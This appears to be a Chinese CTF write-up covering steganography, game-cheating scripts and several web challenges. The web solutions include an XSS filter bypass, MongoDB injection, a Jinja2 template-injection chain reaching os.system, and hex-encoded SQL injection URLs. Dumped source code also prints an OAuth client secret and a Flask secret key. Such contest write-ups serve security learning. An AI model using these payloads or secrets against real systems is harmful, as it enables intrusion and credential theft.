开始想多了,想到什么CVE什么Word漏洞上去了,后来想到才100分,想到可能是pdf隐写,所以在google上搜索pdf stego ,找了几个工具,其中一个工具叫Wbstego,直接解密了即可:
图片中的二维码得到
# flag = f[root] # f[x] = d[x] xor max(f[lson(x)], f[rson(x)]) : x isn't leaf # f[x] = d[x] : x is leaf
在 wav 最后 1s 明显有杂音,发现藏了数据
去掉一半的 00 ,得到一个 7z ,剩下就是找口令了
尝试了各种 wav 和 jpg 隐写,最后机智的队友居然在 1 份 54 秒左右听到杂音
在网上找了个大小为 38.5m 的渡口,进行波形比较,发现在 sample501800 靠后点有巨大的差异。
把那段数据截取出来, strings 看下,有这样一个字符串 {1L0vey0u*.*me}
利用这个口令解开了 7z
解开之后是 0 和 1 文件夹 ( 分别代表左右儿子),以及每个文件夹下有个 d (这是每个节点的数据)
先生成个目录,按照二叉树顺序存储结构的方式读取所有数据,脚本:
mululist=[] def readmulu(): fm=open('mulu.txt','rb') while True: line=fm.readline().strip('/x0d/x0a') if line: mululist.append(line+'d') else: break readmulu() node=[] ct=0 for ml in mululist: ct+=1 #print ml f=open(ml,'rb') t=int(f.read()[2:],2) #print t node.append(t) print ct nodenum=127 def lson(x): ret=x*2 if ret > nodenum: print "l erro" ret=0 return ret def rson(x): ret=(x*2)+1 if ret > nodenum: print "r erro" ret=0 return ret def d(x): if x <= nodenum: return node[x-1] def haveson(x): if x*2<nodenum: return 1 else: return 0 def f(x): if not haveson(x): return d(x) else: l=0 r=0 rs=rson(x) ls=lson(x) if rs!=0: r=f(rs) if ls!=0: l=f(ls) return d(x)^max(l,r) print hex(f(1)) ''' >>> s='53534354467b5353435446266e3163613163613126326f6936262a2e2a7d' >>> s.decode('hex') 'SSCTF{SSCTF&n1ca1ca1&2oi6&*.*}' '''
这道题目是一个js写的游戏,最终目的是打boss。
在解题的过程中,有这么几层:
第一层:有一道过不去的门,提示找钥匙但是并不知道钥匙在哪。通过阅读game.js代码可以知道,游戏通过发送msg(‘next’, {}) 来进入下一关。所以果断打开浏览器控制台输入如下代码:
ws.send(JSON.stringify([msg('next', {})]));
即可进入下一层。
第二层:从这里开始游戏不允许直接跳关。游戏要求采集9999的木头,按住空格,1秒一个。然而游戏时间限制在5分钟,通常手段必然过不去。阅读game.js得知msg(‘wood’, {‘time’: tmp})为发送到服务器的数据,tmp是时间(毫秒),所以构造payload:
ws.send(JSON.stringify([msg('wood',{'time':100000000000000})]));ws.send(JSON.stringify([msg('next',{})]));
即可进入下一关。
第三层:游戏要求采集9999的钻石,按空格一下一个。采用和第二层相同的方式,发现服务器有检查,不能按得过快(也就是不能在一次内采集过多钻石),于是改为for循环形式:
for(var i=0;i<2000;i++){ws.send(JSON.stringify([msg('diamond',{'count':5})]))};ws.send(JSON.stringify([msg('next',{})]));
即可进入下一关。
第四层:这层是boss层,游戏要求玩家攻击boss15下,提示说近战武器无法伤到boss,经过测试发现玩家靠近boss即被秒杀。于是在远离boss的位置输入如下代码:
function attack(){ws.send(JSON.stringify([msg('attack',{'x':boss.x,'y':boss.y})]));setTimeout("attack()",1000);};attack();
等待15秒即可获得flag。
效果:
这道题目到现在我也没搞懂…
这是道算法题目,是要玩一个捡肥皂的游戏。游戏开始从左到右有6个桩子,每个桩子旁边有一堆肥皂,玩家可以把任意块肥皂从某个桩子移动到下一个桩子,最后没有肥皂可以捡的玩家输掉游戏。
一开始一直在想怎么获胜,写了好几种方式然而都没有什么卵用,直到赛后队友告诉我这个是通过AI的bug来获得flag的:因为AI每次捡肥皂只能捡桩子周围两个距离以内的,但是AI还要捡完周围的,所以把肥皂连城一条线就能获胜。
……好吧
- -、然而并没有做出来,赛后搞定就当做纪念吧。
脚本:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import sys EMAIL = 'I won/'t give you this.' PWD = 'I won/'t give you this.' io = remote('socket.lab.seclover.com',23333) def cls(): return class GameSolver: def __init__(self,io): self.MAP = [] self.BLOCK = [] self.PIVOT = [] self.POSX = 0 self.POSY = 0 self.IO = io self.MAXX = 0 self.MAXY = 0 self.PA_FOUND = 0 self.PA_RESULT = 0 self.PO_FOUND = 0 self.PO_RESULT = 0 return def StartGame(self): self.IO.recvuntil("Input 'start' to start the game/r/n") self.IO.sendline('start/n') self.ReadMap() self.DumpInfo() return def ScanPivot(self,pos,id): DIRECTION = [(0,-1),(0,1),(1,0),(-1,0)] self.VISITED[pos[0]][pos[1]] = 1 for i in DIRECTION: nextx = pos[0] + i[0] nexty = pos[1] + i[1] if self.MAP[nextx][nexty] == '@' and not self.VISITED[nextx][nexty]: # self.MAP[nextx][nexty] = '0' self.BLOCK[id].append((nextx,nexty)) self.ScanPivot((nextx,nexty),id) # self.MAP[nextx][nexty] = '@' return def GetPivotAdjacentFreeSpace(self,pos): DIRECTIONJ = [(0,-1),(1,0),(-1,0),(0,1)] DIRECTION = [(0,-1),(1,0),(-1,0),(0,1)] self.VISITED[pos[0]][pos[1]] = 1 for i in DIRECTION: nextx = pos[0] + i[0] nexty = pos[1] + i[1] if not self.VISITED[nextx][nexty]: if self.MAP[nextx][nexty] == '@' and not self.PA_FOUND: self.GetPivotAdjacentFreeSpace((nextx,nexty)) elif self.MAP[nextx][nexty] == '.': adj = 0 for j in DIRECTIONJ: kx = nextx + j[0] ky = nexty + j[1] if self.MAP[kx][ky] == '@': adj += 1 if adj > 1: continue self.PA_FOUND = 1 self.PA_RESULT = (nextx,nexty) return elif self.PA_FOUND: return return def GetPivotOutsideBlock(self,pos): #print pos #DIRECTION = [(1,0),(-1,0),(0,-1),(0,1)] #DIRECTIONJ = [(1,0),(-1,0),(0,-1),(0,1)] DIRECTIONJ = [(0,-1),(1,0),(-1,0),(0,1)] DIRECTION = [(0,-1),(1,0),(-1,0),(0,1)] self.VISITED[pos[0]][pos[1]] = 1 for i in DIRECTION: nextx = pos[0] + i[0] nexty = pos[1] + i[1] #print 'Going ', (nextx,nexty) if not self.VISITED[nextx][nexty] and self.MAP[nextx][nexty] == '@': self.GetPivotOutsideBlock((nextx,nexty)) if self.PO_FOUND: return for j in DIRECTIONJ: kx = nextx + j[0] ky = nexty + j[1] if self.MAP[kx][ky] == '.': self.PO_FOUND = 1 self.PO_RESULT = (nextx,nexty) return return def GetPivotPos(self,id): return self.PIVOT[id] # FIXED def ReadMap(self): # init self.MAP = [] self.BLOCK = [] self.PIVOT = [] self.POSX = 0 self.POSY = 0 map_buf = list(self.IO.recv(99999)) t = map_buf try: while map_buf[0] != '#': map_buf.pop(0) # remove all dummy characters except Exception,e: print e, t self.IO.interactive() X = 0 Y = 0 while 1: self.MAP.append([]) Y = 0 while 1: ch = map_buf.pop(0) #print ord(ch) if ch == '/n': self.MAXY = Y break self.MAP[X].append(ch) Y += 1 X += 1 if len(map_buf) == 0: break self.MAXX = X # scan map for pivots self.VISITED = [] for i in range(self.MAXX): self.VISITED.append([]) for j in range(self.MAXY): self.VISITED[i].append(0) for i in range(self.MAXX): for j in range(self.MAXY): if self.MAP[i][j] == 'A': self.POSX = i self.POSY = j elif self.MAP[i][j] == '$': self.BLOCK.append([]) self.ScanPivot((i,j),len(self.PIVOT)) self.PIVOT.append((i,j)) return def GotoPos(self,pos,ignoreBlocks=True): print 'Going to', pos path = '' q = [] visit = [] for i in range(self.MAXX): visit.append([]) for j in range(self.MAXY): visit[i].append(0) visit[self.POSX][self.POSY] = 1 q.append({'pos':(self.POSX,self.POSY,''),'prev':0}) DIRECTION = [(0,1,'l'),(1,0,'j'),(-1,0,'k'),(0,-1,'h')] while len(q) > 0: cur = q.pop(0) if cur['pos'][0] == pos[0] and cur['pos'][1] == pos[1]: while isinstance(cur,dict): path = cur['pos'][2] + path cur = cur['prev'] return path for i in DIRECTION: next_x = cur['pos'][0] + i[0] next_y = cur['pos'][1] + i[1] if not visit[next_x][next_y] and self.MAP[next_x][next_y] != '#' and self.MAP[next_x][next_y] != '$': if not ignoreBlocks and self.MAP[next_x][next_y] == '@': continue q.append({'pos':(next_x,next_y,i[2]),'prev':cur}) visit[next_x][next_y] = 1 # cannot get there return '' def SendCmd(self,cmd,interactive=False): log.info("Cmd : " + cmd) self.IO.sendline(cmd) if interactive: self.IO.interactive() else: self.ReadMap() # Reload Map self.DumpInfo() return def DumpInfo(self): print self.MAXX, self.MAXY for i in range(self.MAXX): for j in range(self.MAXY): sys.stdout.write(self.MAP[i][j]) sys.stdout.write('/n') print self.MAXY * '-' ''' for i in self.PIVOT: print 'PIVOT : ', i for i in self.BLOCK: print 'BLOCK : ', i ''' return def ClearVisited(self): self.VISITED = [] for i in range(self.MAXX): self.VISITED.append([]) for j in range(self.MAXY): self.VISITED[i].append(0) return def MoveFromTo(self,f,t,num=-1): k = num if num == -1: k = 99999 for i in range(k): if len(self.BLOCK[f]) == 0: break self.PO_FOUND = 0 self.ClearVisited() self.GetPivotOutsideBlock(self.GetPivotPos(f)) if self.PO_FOUND == 0: log.warning("Cannot find an outside block!") exit(0) pos = self.PO_RESULT self.SendCmd(self.GotoPos(pos) + 'L') self.PA_FOUND = 0 self.ClearVisited() self.GetPivotAdjacentFreeSpace(self.GetPivotPos(t)) if self.PA_FOUND == 0: log.warning("Cannot find an outside block!") exit(0) pos = self.PA_RESULT self.SendCmd(self.GotoPos(pos,False) + 'P') return def BackToOrigin(self,interactive=False): self.SendCmd(self.GotoPos((1,1),True),interactive) return def CloseGame(self): self.IO.close() return def Solve(self): self.MoveFromTo(3,4,10) self.BackToOrigin(True) return def main(): io.recvuntil('Email Addr :') io.sendline(EMAIL) io.recvuntil('Password :') io.sendline(PWD) try: Game = GameSolver(io) Game.StartGame() Game.Solve() Game.CloseGame() except Exception,e: print e io.interactive return 0 if __name__ == '__main__': main()
效果:
一个上传,研究了半天都没解决,什么常规的方法都试过了,能改的属性都改过了,最后队友看了看包,来了句,可没可能在上传表单属性Content-Type: multipart/form-data;那里有个判断啊,瞬间觉得世界明亮了,于是就这么拿了flag!
Gg了 一篇文章 ,然后肯定是测试最新那个了—但发现过滤了on、eval、alert等字符,双写绕过。
Payload:
http://960a23aa.seclover.com/index.php?xss={{'a'.coonnstructor.prototype.charAt=[].join;$evevalal('x=1}} };aleralertt(/ssctf_Nu1L/)//');}}
又是MMD。。。。。。。。。。 一篇文章
本来想测试下,结果貌似又被搅屎了,然后就报不了js错误直接跳回首页了,就拿最终的图吧。
然后就利用return构造,payload:
http://806bddce.seclover.com/news.php?newsid=3%27});return%20{title:tojson(db.getCollectionNames()),password:2};//&password=test
http://806bddce.seclover.com/news.php?newsid=3%27});return%20{title:tojson(db.user.find()[0])};//&password=test
然后邮箱登录。。。我还问西瓜牛为啥没有flag。。。
翻了翻邮箱,找到~
一开始以为是cookie哪里改成赵日天= == = == = == = = =无力吐槽,然后在乌云看到 一篇文章 ,点击题目的login,发现name的value是你github账号名字,于是开了开脑洞:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {{ c.__init__.func_globals['linecache'].__dict__['os'].system('id') }} {% endif %} {% endfor %}
为了简短代码,
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {{ loop.index0 }}{% endif %} {% endfor %}
得到索引是59
# 循环查看所有的模块 发现有os, __file__, __builtins__等,可以用open {% for i in range(0, 10) %} {{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.keys()[i] }} {% endfor %}
但是要先知道当前文件名,所以
{{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].path.realpath(__file__) }}
得到文件名 ssctf.py,然后读文件
{{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['__builtins__'].open("/data1/www/htdocs/259/4083475a59f34e34/2/ssctf.py", "r").read() }}
得到
name:# -*- coding: utf-8 -*- from flask import Flask,abort,request,session,redirect,render_template_string import os import json import datetime import urllib import re import time import hashlib #import sqlite3 import threading from rauth.service import OAuth2Service BASE_DIR = os.path.dirname(os.path.abspath(__file__)) DEBUG = os.name =='nt' if DEBUG: WEBHOME = 'http://127.0.0.1/' else: WEBHOME = 'http://b525ac59.seclover.com/' github = OAuth2Service( name='github', base_url='https://api.github.com/', access_token_url='https://github.com/login/oauth/access_token', authorize_url='https://github.com/login/oauth/authorize', client_id= '6ad5ab3c971c740adf64', client_secret= 'd6aed929c3b9bf713a37435c117619dcd46194e1', ) app = Flask(__name__) app.debug = DEBUG app.secret_key = "sflkgjsiotu2rjdskjfnpwq9rwrehnpqwd0i2ruruogh9723yrhbfnkdsjl" app.flagman = (1,'flagman','SSCTF{dc28c39697058241d924be06462c2040}','http://www.seclover.com/wp-content/uploads/2015/07/logo.png') # app.lastid = 1 # app.lock = threading.Lock() # def getnewid(): # app.lock.acquire() # app.lastid+=1 # newid = app.lastid # app.lock.release() # return newid # def dbinsert(name,uid,pic): # newid = getnewid() # app.user[newid] = (name,uid,pic) # return newid # def dbfind(user_id): # userinfo = app.user.get(user_id) # if userinfo: # return (user_id,)+userinfo # return None # def dbfind_uid(uid): # for u in app.user: # if app.user[u][1]==uid: # return (u,)+app.user[u] # return None # app.dbcon = sqlite3.connect(":memory:", check_same_thread=False) # app.dbcur = app.dbcon.cursor() # app.dbcur.executescript('''CREATE TABLE "user" ( # "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, # "name" TEXT, # "uid" TEXT, # "pic" TEXT # ) # ; # CREATE UNIQUE INDEX "id" # ON "user" ("id" ASC); # CREATE UNIQUE INDEX "uid" # ON "user" ("uid" ASC); # ''') # def dbinsert(name,uid,pic): # sql = '''INSERT INTO "user" ("name", "uid", "pic") VALUES (?,?,?);''' # app.dbcur.execute(sql,(name,uid,pic)) # app.dbcon.commit() # return app.dbcur.lastrowid # def dbfind(user_id): # sql = '''SELECT * FROM "user" where id = ?''' # rows = app.dbcur.execute(sql,(user_id,)) # for id,name,realuid,pic in rows: # return (id,name,realuid,pic) # return None # dbinsert('howmp','uid','http://www.seclover.com/wp-content/uploads/2015/07/logo.png') @app.route('/user/') def user(): userinfo = session.get('info') if not userinfo: #session.pop('info') return "please login first. Powered by Flask/0.11.2" user_id,name,realuid,pic = userinfo if user_id == 1: user_id,name,realuid,pic = app.flagman name = str(name) pic = str(pic) template = u''' name:''' + name + ' uid:{{ realuid }} id:{{ user_id }}' #template += u" {{app.secret_key}}" return render_template_string(template,**(dict(globals(), **locals()))) @app.route('/') def index(): def _link(): params = {'redirect_uri': WEBHOME+'callback'} icon = u'' return """ %s """ % (github.get_authorize_url(**params), icon) html = """ %slogin only / and /user,no other pages! """ % _link() return html @app.route('/callback') def callback(): code = request.args.get('code') if not code: abort(401) data = dict(code=request.args['code'], redirect_uri=WEBHOME+'callback', ) try: auth = github.get_auth_session(data=data) me = auth.get('user').json() session['info']=[2,me['name'],me['id'],me['avatar_url']] return redirect('/user/') except Exception,e: return e if __name__ == '__main__': app.run(host='0.0.0.0',port=80)
因为最后没截图了,就拿这当吧,当时拿到py源码发现有app.flagman- -改github昵称,利用 这篇文章 中的{{…….}}进行绕过:
访问下就行了:
比赛时没有发现给的 hint 竟然还有一个单词叫 is_number ,明显的是这个函数造成的过滤不严格,使得恶意数据通过十六进制插入数据库造成二次注入,代码的话首先测试的是 904 and 1=1 ,构造 payload 为 http://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d31 ,访问之后再 http://edb24e7c.seclover.com/userinfo.php的myinfo 下发现了 money 尝试 904 and 1=0 , money 变为 ,报错,直接确定注入。之后就是盲注了。。。盲注的话也是有技巧的,首先爆数据库名,构造 904 and 1=0 union select 1,2,SCHEMA_NAME,4 frominformation_schema.SCHEMATA limit 1,1;# ,得到 payload 为 http://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d3020756e696f6e2073656c65637420312c322c534348454d415f4e414d452c342066726f6d20696e666f726d6174696f6e5f736368656d612e534348454d415441206c696d697420312c313b23 ,然后查表,构造 http://edb24e7c.seclover.com/add_cart.php?id=0x904and 1=0 union select 1,2,table_name,4 from information_schema.tables wheretable_schema=’web05′;# 得到 flag 表,爆字段数,构造 904 and 1=0 union select 1 from flag # ,依次 select 1 select1,2 ,发现在 select 1,2,3,4 的时候 money 为 3 ,所以,得出结论, flag 表有四个字段,其中第三个字段上有东西,根据经验把目标锁定在 flag ,于是构造 904 and 1=0 union select 1,2,flag,4 from flag # ,得到的 payload 为 http://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d3020756e696f6e2073656c65637420312c322c666c61672c342066726f6d20666c61672023 ,之后发现 ,得到数据库名
于是访问 http://edb24e7c.seclover.com/2112jb1njIUIJ__tr_R/tips.txt 得到tips:
1 、Congratulationsfor you !You finished 80%,Come on continue!
2 、token=md5(md5(username)+salt)salt max lenght is 5(hexs)
3 、Add the MoneyGet the Flag
提示很明显了,根据提示,得到自己token然后爆破就可以了
首先找到表名, http://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d3020756e696f6e2073656c65637420312c322c7461626c655f6e616d652c342066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d27776562303527206c696d697420312c313b23 ,构造payload,得到user表,构造payload为904 and 1=0union select 1,2,token,4 from user whereusername =’Albertchang’ #,访问 http://edb24e7c.seclover.com/add_cart.php?id=0x39303420616e6420313d3020756e696f6e2073656c65637420312c322c746f6b656e2c342066726f6d20757365722020776865726520757365726e616d65203d27416c626572746368616e67272023 后在money得到自己的token:4e35baffcafd958795c0efed53bfb080,然后写个脚本爆破首先对自己的用户名Albertchang进行md5为 18dda757bd3c9977b65d519a3cb81fbc ,然后写脚本,补上一到五个字符进行 md5
import hashlib def md5(str): import hashlib m = hashlib.md5() m.update(str) return m.hexdigest() li = [] s = '18dda757bd3c9977b65d519a3cb81fbc' chars = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'] for i in chars : li.append(s+i) for i in chars : for j in chars : li.append(s+i+j) for i in chars : for j in chars : for k in chars : li.append(s+i+j+k) for i in chars : for j in chars : for k in chars : for l in chars : li.append(s+i+j+k+l) for i in chars : for j in chars : for k in chars : for l in chars : for m in chars : li.append(s+i+j+k+l+m) for i in li : if md5(i) == '4e35baffcafd958795c0efed53bfb080' : print i
得到 18dda757bd3c9977b65d519a3cb81fbc8b76d ,所以 salt 是 8b76d 。之后 addmoney , burp 抓包改一下 salt 在 forward 就得到 flag 了: